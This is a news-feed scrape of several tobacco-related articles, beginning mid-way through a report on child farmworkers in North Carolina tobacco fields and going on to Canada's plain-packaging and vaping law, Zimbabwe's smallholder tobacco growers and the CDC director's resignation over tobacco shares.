At Wake Forest University, in Winston-Salem, North Carolina, Thomas Arcury and Sara Quant, professors of family and community medicine, have been researching farmworker health for years. They did a study on green-tobacco sickness in adults, also known as nicotine poisoning, and found that 25 out of the 182 workers they surveyed had experienced it. In another study, they examined conditions of farmworker youth between the ages of 7 and 17. “Youth farmworkers are especially vulnerable to occupational injuries because of their smaller size, lesser strength, and greater surface-to-volume ratio compared with adults; their developing neurological and reproductive systems; and their lack of maturity and experience,” they wrote.

“What we found is that the way this work is organized leaves these children in a very unsafe work environment,” Arcury told me. “Would you put a 10-year-old working in a field with a bunch of 20- and 30-year-old men and women doing heavy work in an unsafe environment?” Ingrid mentioned that sometimes the other workers also pose a threat—as a 13-year-old girl, she feared every time she had to go off alone to the edge of a field to use the bathroom that she would be sexually assaulted. Children also struggle to stay on pace when crops are paid on a piece-by-piece rate. “These are kids, so they are not as strong and can’t keep up. There’s pressure on them from the adults working in the same environment to keep up.”

Arcury and Quandt, who have studied farmworker health extensively, cautioned me on fixating only on tobacco. “It just isn’t tobacco,” said Arcury. “You can ban working in tobacco, but it’s not going to work. They will be doing everything else in those jobs and exposed to everything but nicotine. That’s a good thing. But they will still be exposed to organophosphate pesticides, still exposed to the heat and humidity and the heavy loads,” he said.

Many of the kids who develop health issues show up at the Community Health Center in Kinston. Inside is a dental clinic, a pediatric clinic, and an obstetrician. The only center of its kind for miles, the clinic has to be everything to everyone, including a transportation service. For the most part migrant workers can’t drive, because they lack either documentation or a car or both. In many camps, their only chance of getting anywhere, including the grocery store, is to go on the day the contractor goes. Everyone puts in their order with whichever lucky person gets a seat in the car. The clinic has some vans of its own, and Castillo, the clinic’s outreach coordinator, said she’d also love to open some remote access points, especially during the picking season. Today the waiting rooms are quiet, except for a few families sitting in the chairs and some calls over the loudspeakers for interpreters. Castillo, who takes me on a tour of the center, tells me that it is the most crowded during the season on the days that it rains, and then the doctors can find themselves feeling overwhelmed.

Upstairs, in a conference room on the top floor, along with Yesenia and Castillo, I met Sandy Tripp, a pediatric nurse practitioner here. Tripp, with blond bangs and a brightly colored patterned top, said she looks for the telltale signs that her patients have been working in the fields. “I do look for things like calluses on hands, dirty feet,” she said. “Signs of bruises in places you wouldn’t normally see bruises. I ask the children ‘You know, what do you do for fun?’ leading questions so they tell me.” If they are older than 12, she can’t stop them from working, but she does try use her time to educate them, providing some measure of occupational-safety training, which is mostly lacking.

“I can only say, ‘You need to be careful. Your back is growing. Your muscles are developing. If you have a mask, if you have access to protective equipment, you need to use it.’” No matter what type of work they do or who they are, teenagers have the unfortunate habit of thinking they are invincible, she said. “When they reach the ages of 12 to 16, they don’t have a sense of ‘This can really happen to me. I can get sick.’ They have no fear. Even if they have protective equipment, they may not use it.”

Yesenia told me that the first day she was supposed to work tobacco, she dressed in a tank top and shorts, thinking it was going to be really hot out there. Her mother told her immediately to put on some pants and long sleeves. “She said it was because of the sun. Little did we know it was also to protect us from the pesticides,” she said. She said during her work she would walk out into the fields and “everything would be really wet,” a sign that fields had been recently sprayed, and it would smell noxious.

“We thought it was fertilizer,” she said. Ingrid recalled a time when they were spraying the field next to where she was working and the woman next to her fainted. “Oh okay, it’s the heat,” said the person in charge, she said. “But,” according to Ingrid, “it wasn’t the heat.” She believes it was chemical exposure.

Castillo said at the clinic they see a lot of children with allergies on their skin, from both the pesticides and tobacco. “They are the world’s worst for not wearing gloves,” she said. “These skin issues come up, from the way their skin reacts to the tobacco leaves and the pesticides. That and respiratory issues—we see a lot of breathing problems.”

There have been measures brought forward to change the laws on tobacco and children farmworkers. When President Obama took office, the labor secretary at the time, Hilda Solis, proposed changing the laws, putting “work with tobacco” and “work with power-driven equipment” into the category of hazardous work that can’t be done by anyone under 16. Margaret Wurth, from Human Rights Watch, told me that she and her colleagues had thought they might be able to ban child labor in farming more generally, but, in the end, “there wasn’t political will.”

In 2012, when Obama was up for reelection, his administration withdrew Solis’s proposal after coming under criticism from Republicans in Congress and farm groups who said the bill would hurt family farms and make it harder to teach kids about farming. A 2012 article in The Hill quoted Representative Denny Rehberg of Montana, a Republican, who said the language of the exemption wasn’t clear enough, leaving too much “to the whims of how the next Labor secretary or the next administration decides to interpret these rules.” In withdrawing the proposal, the Labor Department said in a statement that the administration was “committed to promoting family farmers and respecting the rural way of life.” (The Department of Labor and the EPA did not respond to my requests for comment.)

Advocates for the bill said that misconceptions about what the legislation would do clouded the debate. Wurth, of Human Rights Watch, said the proposal was twisted into “kids not being able to operate battery-powered flashlights on farms.” That the Obama administration withdrew the bill as opposed to fighting for it, even if that fight would have ended in defeat, was, she said, “salt in the wound.”

Maki, of the Child Labor Coalition, attributes this “misinformation campaign” directly to the American Farm Bureau Federation (AFBF), the largest farming industry group in the country. “Farm and ranch families are more interested than anyone else in assuring the safety of farming operations,” said the then-president of the AFBF, Bob Stallman, in 2012. “We have no desire at all to have young teenagers working in jobs that are inappropriate or entail too much risk. But, laws and regulations need to be sensible and within reason—not prohibiting teenagers from performing simple everyday farm functions like operating a battery-powered screwdriver.”

I spoke with Paul Schlegel, the deputy policy director for the AFBF, twice for this story. He told me his recollections of the hearings, about a mother who testified that her child was injured more frequently in gym class than on their farm. “There were members who talked about what they learned when they were 13, 14, 15, working outside of school hours in accordance with state law, and how meaningful that experience was to them,” he told me.

“I don’t know if you come from an agricultural background, but there is a very strong work ethic in the people we represent,” he continued. “I think you find generally if you start from the premise that people don’t care about the safety of any of the people who work on farms, not just young kids, but anybody, you will get a strong reaction from our members that that is not an accurate reflection of how they go about their business.”

When I kept asking about workers not on family farms but on larger, industrial operations, he stopped me. “I’m sorry, are you from an ag background? Did you grow up on a farm? I’m sorry,” he said.

There were two changes to EPA regulations under Obama, starting in 2015, that advocates for child farmworkers counted as victories, and that the Trump administration is now targeting to roll back. One is a revision to the worker-protection standard, which currently bans children under 18 from handling pesticides or reentering fields where pesticides have been recently sprayed, and the second is a rule that bans children from working with restricted-use pesticides. The AFBF supports these rollbacks, saying they were introduced poorly and should be left up to the states, according to Schlegel.

About an hour from Kinston is the Tobacco Farm Life Museum, celebrating the history of tobacco growing in the area. One exhibit features women grinning and wearing T-shirts that say Proud to be a tobacco farmer’s daughter. On the day I visited, there was a hog-killing demonstration, sponsored by the North Carolina Pork Council. Duke University is named after a tobacco magnate, and the term tobacco road is used to reference the athletic conference for North Carolina universities. Tobacco is the region and its history.

And yet, despite tobacco’s omnipresence, the children who work the fields are barely seen or discussed. Castillo’s daughter, Samantha, told me that a few years ago she and some other advocates put on an exhibition of photographs of child labor. “People were shocked,” she said. Samantha gave a speech about child labor in agriculture in farming at a college in Kentucky, another state with a large tobacco-growing industry, and many in attendance expressed complete disbelief.

Yesenia once brought the NC FIELD youth group to an event at Wake Tech, a community college in Raleigh, featuring presentations by executives of tobacco companies. Yesenia and her friends sat up front, and her sister pointed out to her that the executives weren’t addressing child labor in the talk. After the event ended Yesenia and her friends had a conversation with the executives. “Let’s just say the conversation carried on so long we had to take it outside. They had the same reaction that some people have where they are oblivious to child labor.”

And this is the crux of the matter: In the absence of government regulation, the power to see or not see these children, to employ them or not, to enforce precautionary health measures or not—all of this rests with the tobacco companies and the subcontractors they use. Some of the major tobacco companies have changed their standards in response to reports on child-labor conditions, even though the government has not asked them to. Philip Morris International, for example, has sought to improve how they source their tobacco and raised their minimum age for farmworkers, according to Castillo. Miguel Coleta has been working at Philip Morris International on labor-rights issues, and the company began to implement changes in the U.S. in 2010. Human Rights Watch recognized Philip Morris for targeted changes to reduce child labor in 2014, after the organization’s report.

Coleta’s work in the U.S. is quite different than similar work in other countries, he says. “In the case of the United States, setting those clear standards in terms of child labor meant setting standards that are stricter [than] U.S. law,” Coleta said. He added it was hard at first to get farmers on board: “The challenge for us was to get farmers understanding why we were imposing those standards and the fact that they had no reflection in the law made this process more difficult than other places,” he said. Since then, other companies have followed suit, adopting higher minimum-age standards, which, said Coleta, “makes our life easier.”

I reached out to British American Tobacco, which acquired the North Carolina–based Reynolds Tobacco last summer, creating the world’s largest publicly traded tobacco company. “We do not employ children in any of our operations worldwide and make it clear to all of our contracted farmers and suppliers that exploitative child labour will not be tolerated,” said a spokesperson for the company. According to British American Tobacco, they are not aware of significant issues within their own supply chain. A spokesperson for R.J. Reynolds Tobacco told me over email that they assess their farms through third-party audits, interviews, and employee assessment. The 2016 audit of 341 farms found 22 minors, four employed in violation of their contracts. “Note that a violation of R.J. Reynolds Tobacco Company’s policy regarding the age of employment does not mean that a grower violated child labor laws,” the spokesperson wrote.

But for some companies, the lack of government oversight has meant that they have no reason to look for a problem—no reason to see the children who pick the tobacco that they turn into cigarettes. This is the case at China National Tobacco (CNTC), the largest cigarette maker in the world, which has offices in Raleigh. It has not made any statements or outward changes based on industry pressure or the Human Rights Watch report. (Yesenia said the officials she spoke with at the meeting were from CNTC.) The company supplies one-third of the world’s cigarettes and has recently expanded from the Chinese market to cruise ships and other countries. (CNTC did not respond to requests for comment.)

Castillo is doubtful that the standards have been met as companies say they have, especially without government regulation that would force companies to do more: “Even now, it’s not about your age, it’s about how big you are,” she said. “If you don’t look like you are 10 to 12, you are going to get a job.” Most of the farmworker youth I spoke with for this story said they were not asked their ages or for identification when they showed up for work. It’s almost as though nobody cared who they were at all.

]]> https://briefnews.eu/the-overlooked-children-working-americas-tobacco-fields/feed/ 0 Parliament passes plain tobacco packaging law, regulates vaping https://briefnews.eu/parliament-passes-plain-tobacco-packaging-law-regulates-vaping/ https://briefnews.eu/parliament-passes-plain-tobacco-packaging-law-regulates-vaping/#respond Wed, 16 May 2018 10:30:22 +0000 http://briefnews.eu/parliament-passes-plain-tobacco-packaging-law-regulates-vaping/ Tobacco Packages 20160530

The Liberal government has passed a sweeping overhaul of the country’s tobacco laws — legislation that will formally legalize (and heavily regulate) vaping and give Health Canada the powers it needs to mandate plain packaging for cigarettes.

The bill, S-5, is one of the most ambitious overhauls of the Tobacco Act in a generation. It enacts changes that have prompted vocal opposition from the country’s largest tobacco companies — and their allies, like convenience store owners — who are steadfastly opposed to measures that will force them to remove their brands from cigarette and other tobacco packages.

The bill doesn’t dictate exactly how plain packaging should be imposed, but a Health Canada backgrounder says the new Tobacco and Vaping Products Act will “provide … a range of options such as standardized colour, font and finish, and prohibitions on promotional information and brand elements, such as logos.”

A spokesperson for Health Canada did not say exactly when the new regulations would land, but added such regulations typically come into force 180 days after they are finalized by the department.

The bill’s defenders have said these new regulations will make smoking less appealing by all but eliminating the uniqueness of particular brands, and help end an “epidemic” of tobacco-related deaths — which the government suggests number over 45,000 per year.

Under existing regulations, branding is already quite limited because health warnings cover roughly three quarters of a traditional cigarette pack.

What the bill does:

  • Gives Health Canada the power to implement plain and standardized tobacco packaging.
  • Applies many of the existing tobacco regulations to vaping products.
  • Prohibits the sale of vaping products to minors.
  • Restricts “lifestyle” advertising for vaping products, the use of testimonials, or any reference to e-cigarettes as healthier than standard tobacco products.
  • Bans certain flavours — like “confectionery” and cannabis — for vaping products.

Critics argue the new rules will simply bolster an already flourishing market for cheaper contraband cigarettes, and often cite the mixed (and contested) results of Australia’s move to enact plain packaging.

“The real reason that people start smoking is not because of the pack. There is no evidence of that in every piece of research that Health Canada has cited,” Eric Gagnon, the director of government relations at Imperial Tobacco Canada, said in an interview with CBC News.

“The people who start smoking do not see a package today and say, ‘Well, this package has red on it. I think I’m going to start smoking.’ That’s not the way it works … It’s more of a PR initiative than anything else.”

The packages on the left are what cigarette packs used to look like in Australia before a plain packaging law was passed. The new plain packages are shown on the right. Canadian lawmakers hope to emulate, at least in part, the cigarette packaging strategy pursued by Australia. (David Hammond/University of Waterloo)

But Rob Cunningham, a policy analyst at the Canadian Cancer Society, said he thinks the tobacco industry is upset by plain packaging for a good reason.

“Of course plain packaging would be effective. Why else would the tobacco industry be so opposed?” he said.

“The package is the most important type of tobacco advertising that remains in Canada today. Tobacco is addictive and lethal, and should not be sold in packages made to be more attractive, period.”

Gagnon said Imperial Tobacco, which produces popular brands like du Maurier, Pall Mall, Peter Jackson and Player’s, is considering legal action to protect its intellectual property rights if Health Canada proceeds with “extreme” regulations.

“It’s too early to say because we haven’t seen the regulations, but it is one of the avenues we’ll have to look into if we believe the government is going too far,” he said. “It’s not off the table.”

Plain packaging rules are already in place, with some variations, in Australia, France, the United Kingdom and Ireland. A legal challenge by tobacco firms in the U.K. was rebuffed by that country’s highest court.

A sample of plain packages used in the United Kingdom. (Action on Smoking and Health UK)

‘Less harmful source of nicotine’

The Liberal government has pitched the other major component of the bill — new regulations for vaping devices — as a tool to move adult smokers away from traditional cigarettes, while giving them access to the nicotine they crave.

“Bill S-5 will also provide adults the legal access to better-regulated vaping products. These products can serve as a less harmful alternative to cigarettes and can be a much-needed option for those who have been unable to quit smoking,” Peter Harder, the government’s representative in Senate, said in a recent speech on the bill.

Independent Quebec Sen. Chantal Petitclerc, the bill’s sponsor in the upper house, called regulated vaping “an important tool” for ensuring “a less harmful source of nicotine” as the government looks to cut the percentage of the population that smokes from the current 15 per cent to less than 5 per cent by 2035.

The vaping industry has been operating largely beyond the reach of regulators since e-cigarettes emerged as an alternative to smoking some ten years ago.

The e-cigarette — a battery-powered device that looks like a traditional cigarette — delivers inhaled doses of nicotine-containing vapour. Until now, vaping products have been sold under a lighter regulatory burden than the one imposed on cigarettes.

The bill, which is expected to receive royal assent shortly, demands compliance with the new vaping regulations within 180 days.

The proposed legislation would regulate e-cigarettes while allowing adults to access vaping products that are likely less harmful alternatives to tobacco use, Health Canada says. (Frank Franklin II/Associated Press)

Those regulations include a move to cut the number of flavours that can be used in an e-cigarette, banning any flavour designed to mimic “confectionery,” cannabis, soft drinks or energy drinks — flavours some parliamentarians believe are designed to hook young people on these devices.

The bill also prohibits the sale of vaping products to minors, or sending a vaping product to a minor.

The bill restricts most promotional activity around vaping products, forbidding the use of testimonials and references to health effects and additives.

Anti-smoking advocates maintain these regulations are necessary because any reference to an e-cigarette as safer than the traditional variety could be misleading. While vaping devices are often sold as smoking cessation aides, critics maintain they’re not entirely harm-free.

However, a recent review by tobacco experts at Public Health England found that e-cigarettes are considerably less harmful than traditional cigarettes.

“Anyone who has struggled to quit should try switching to an e-cigarette and get professional help,” the government agency recommended in its February 2018 report.

READ MORE: Vaping for Beginners: Learn How to Vape Like a Pro With Our Vaping Guide

]]> https://briefnews.eu/parliament-passes-plain-tobacco-packaging-law-regulates-vaping/feed/ 0 Small-Scale Tobacco Farmers Are Giving Zimbabwe Reason to Dream https://briefnews.eu/small-scale-tobacco-farmers-are-giving-zimbabwe-reason-to-dream/ https://briefnews.eu/small-scale-tobacco-farmers-are-giving-zimbabwe-reason-to-dream/#respond Thu, 22 Feb 2018 11:30:47 +0000 http://briefnews.eu/small-scale-tobacco-farmers-are-giving-zimbabwe-reason-to-dream/ On his 5-hectare farm near Shamva, Oliver Namangwiya produces 4,300 kilograms of cured tobacco every year, earning at least $ 9,000 each season — 10 times the average annual income in Zimbabwe. He rotates crops, plants 1.5 hectares of maize every year and also sells that on the local market.

Globally, small land holdings like Namangwiya’s are widely seen as part of what can make agriculture uneconomical compared to massive, mechanized farms. In Zimbabwe, though, small-scale tobacco farmers are emerging as part of the solution.

Zimbabwe’s economy, driven for decades by the controversial policies of former President Robert Mugabe — removed in a “soft coup” in November 2017 — is in free fall. Mugabe’s drastic land-reform policies, which saw every white-owned farm in the country pass into Black hands in the early 2000s, are widely viewed as having destroyed the country’s ability to feed itself. Zimbabwe ranked 124 out of 137 countries rated in the World Economic Forum’s Global Competitiveness Report for 2017–18.

It is a really happy story for the country and the farmers.

Oswell Mharapara, Zimbabwe’s Tobacco Research Board

But amid that economic darkness, Zimbabwe’s tobacco industry has staged a stunning recovery from a crisis after the land reforms. It now again produces the 200 million kilograms per year it did before that forced redistribution, even though the land and the profits are shared by 100,000 growers instead of 1,500. And the $ 887 million brought in by tobacco in 2016 made it the country’s single most valuable export, comprising 31 percent of Zimbabwe’s total foreign revenue. It’s a success story central to Zimbabwe’s hopes of an economic recovery.

“It is a really happy story for the country and the farmers,” says Oswell Mharapara, assistant general manager of Zimbabwe’s Tobacco Research Board (TRB).

When Zimbabwe first launched land reforms in 1980 after gaining independence, the government acquired land on a “willing seller, willing buyer” basis. The number of growers rose from 1,547 in 1980 to 7,194 in 1999. Namangwiya’s family received their farm under this initiative. Then, in 2000, Mugabe’s government began the so-called Fast-Track Land Reform Program. Often violent and sometimes deadly, this new program increased the number of tobacco growers tenfold in a little over a decade and — taking all crops into account — saw 300,000 Black Zimbabweans get their own farms.

Gettyimages 653535000 and gettyimages 593277528

Of the country’s 100,000 tobacco farmers, says Casper Mlambo, the agricultural manager of the Zimbabwe Tobacco Association (ZTA), 70,000 are “A1s” — smallholders with 6 hectares or less. About 25,000 farmers hold around 20 hectares each and 5,000 commercial farmers have up to 200 hectares each.

The influx of new, inexperienced farmers hit quality and yields, and the annual crop touched a record low of 48 million kilograms in 2008, says Mlambo. But the TRB, the ZTA and the merchants — who don’t have to be Black and are often foreign — funneled money into education and came up with the seed and equipment packages farmers like Namangwiya have since taken up. Yields have since increased steadily and, by 2013, “things really started to pick up,” says Mlambo. Farmers started buying cars and sending their children to boarding schools. And new businesses have sprung up in tobacco towns like Mvurwi, which has transformed from “a run-down service center” into a “buzzing” town with “vibrant markets,” says agricultural ecologist Ian Scoones from the Institute of Development Studies in the U.K.

Often, small-scale farmers use funding packages for fertilizers, seed, chemicals and other assistance offered by middlemen merchants and, in return, hand them the right to buy the tobacco at season’s end. Others go it alone, hoping for higher prices on the auction floor. Now, says Scoones, an increasing number of A1 farmers are combining the two approaches in a savvy attempt at economic diversification.

Namangwiya uses a $ 1,500 funding package from Chidziva Tobacco Processors at the start of each season and, with a loan from the ZTA, has recently installed a “rocket barn” — which uses far less timber fuel than regular curing and yields a superior product. He attends up to 20 free “field day” workshops each season to improve his farming practices, with impressive results. His yields are about 30 percent better than the national average and he has already repaid the loan he took for the rocket barn. Next on his Christmas wish list? A tractor that will allow him to plow deeper and further increase yields.

“It’s all about education,” says Mharapara. For instance, he says, tobacco cannot be rotated with tomatoes or potatoes but is perfectly suited to rotation with maize and cabbage. “I am very confident in the future for A1s,” he says. “We are seeing an improvement every year.”

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A1 farmers have indeed gotten better at growing tobacco, says Mlambo. But their curing and handling techniques “need work.” They, he says, are “squashing the tobacco into rooms that are too small,” and their fireplaces and circulation systems are out-of-date. The ZTA and merchants are trying to get rocket barns on all farms, says Mlambo. They’re also rolling out a “pay as you plow” tractor hire scheme that has seen some farmers improve yields from 1,500 kilograms per hectare to 2,500 kilograms per hectare.

The large quantities of timber burned for tobacco curing has denuded woodlands at “unsustainable rates,” says David Taylor, the chief agronomist at Mashonaland Tobacco Company, among the country’s largest merchants. Merchants and the ZTA are prodding farmers to plant their own eucalyptus woodlots. An increase in Chinese buyers, who have different crop requirements, will also force farmers to “adapt … or become unviable,” cautions Taylor.

Zimbabwe’s bleeding economy remains the biggest roadblock to success. Rising costs of imported inputs “will challenge viability,” says Taylor. The country’s cash-flow crisis has hit farmers hard. And it’s too early to tell whether Mugabe’s ouster will herald a change in Zimbabwe’s macroeconomic fortunes.

But for tobacco farmers, the industry’s growing success is already proving transformative. “People who used to be destitute now have access to drinking water and solar electricity,” says Mlambo.

Globally, tobacco is viewed as the facilitator of diseases that kill more than 7 million people every year. For Zimbabwe, it may just turn out to be a cure.

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]]> https://briefnews.eu/small-scale-tobacco-farmers-are-giving-zimbabwe-reason-to-dream/feed/ 0 U.S. Centers for Disease Control head resigns amid controversy over tobacco stock https://briefnews.eu/u-s-centers-for-disease-control-head-resigns-amid-controversy-over-tobacco-stock/ https://briefnews.eu/u-s-centers-for-disease-control-head-resigns-amid-controversy-over-tobacco-stock/#respond Wed, 31 Jan 2018 16:24:46 +0000 http://briefnews.eu/u-s-centers-for-disease-control-head-resigns-amid-controversy-over-tobacco-stock/ CDC Director Resigns

Brenda Fitzgerald, director of the Centers for Disease Control and Prevention, has resigned over financial conflicts of interest, U.S. officials announce.

]]> https://briefnews.eu/u-s-centers-for-disease-control-head-resigns-amid-controversy-over-tobacco-stock/feed/ 0 The head of the CDC resigns after report says she purchased shares of a tobacco company while in office https://briefnews.eu/the-head-of-the-cdc-resigns-after-report-says-she-purchased-shares-of-a-tobacco-company-while-in-office/ https://briefnews.eu/the-head-of-the-cdc-resigns-after-report-says-she-purchased-shares-of-a-tobacco-company-while-in-office/#respond Wed, 31 Jan 2018 15:23:44 +0000 http://briefnews.eu/the-head-of-the-cdc-resigns-after-report-says-she-purchased-shares-of-a-tobacco-company-while-in-office/ Dr. Brenda Fitzgerald

  • CDC Director Dr. Brenda Fitzgerald resigned after a report said she traded Japan Tobacco while leading the agency. 
  • “Dr. Fitzgerald owns certain complex financial interests that have imposed a broad recusal limiting her ability to complete all of her duties as the CDC director,” a Department of Health and Human Services spokesman said in a statement. 
  • Fitzgerald had been in the position since July 2017. 

The director of the Centers for Disease Control and Prevention just resigned. 

Dr. Brenda Fitzgerald, who had served as director since July 2017, had financial interests that recused her from much of her duties. 

See the rest of the story at Business Insider

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]]> https://briefnews.eu/the-head-of-the-cdc-resigns-after-report-says-she-purchased-shares-of-a-tobacco-company-while-in-office/feed/ 0 Anti-smoking plan may kill cigarettes — and save Big Tobacco https://briefnews.eu/anti-smoking-plan-may-kill-cigarettes-and-save-big-tobacco/ https://briefnews.eu/anti-smoking-plan-may-kill-cigarettes-and-save-big-tobacco/#respond Fri, 19 Jan 2018 20:54:55 +0000 http://briefnews.eu/anti-smoking-plan-may-kill-cigarettes-and-save-big-tobacco/ AFP_PH13S

Imagine if cigarettes were no longer addictive and smoking itself became almost obsolete with only a tiny segment of Americans still lighting up. That’s the goal of an unprecedented anti-smoking plan being carefully fashioned by U.S. health officials.

]]> https://briefnews.eu/anti-smoking-plan-may-kill-cigarettes-and-save-big-tobacco/feed/ 0 Smokers pay more, but it’s tobacco companies, not the government, cashing in https://briefnews.eu/smokers-pay-more-but-its-tobacco-companies-not-the-government-cashing-in/ https://briefnews.eu/smokers-pay-more-but-its-tobacco-companies-not-the-government-cashing-in/#respond Mon, 08 Jan 2018 13:21:32 +0000 http://briefnews.eu/smokers-pay-more-but-its-tobacco-companies-not-the-government-cashing-in/ AFP_UM8QD

Cigarette prices have increased in Canada over the past two years, but they’ve done so gradually, without any major federal tax hikes, providing a big revenue boost for tobacco companies, an anti-smoking group says.

CBC | Health News

]]> https://briefnews.eu/smokers-pay-more-but-its-tobacco-companies-not-the-government-cashing-in/feed/ 0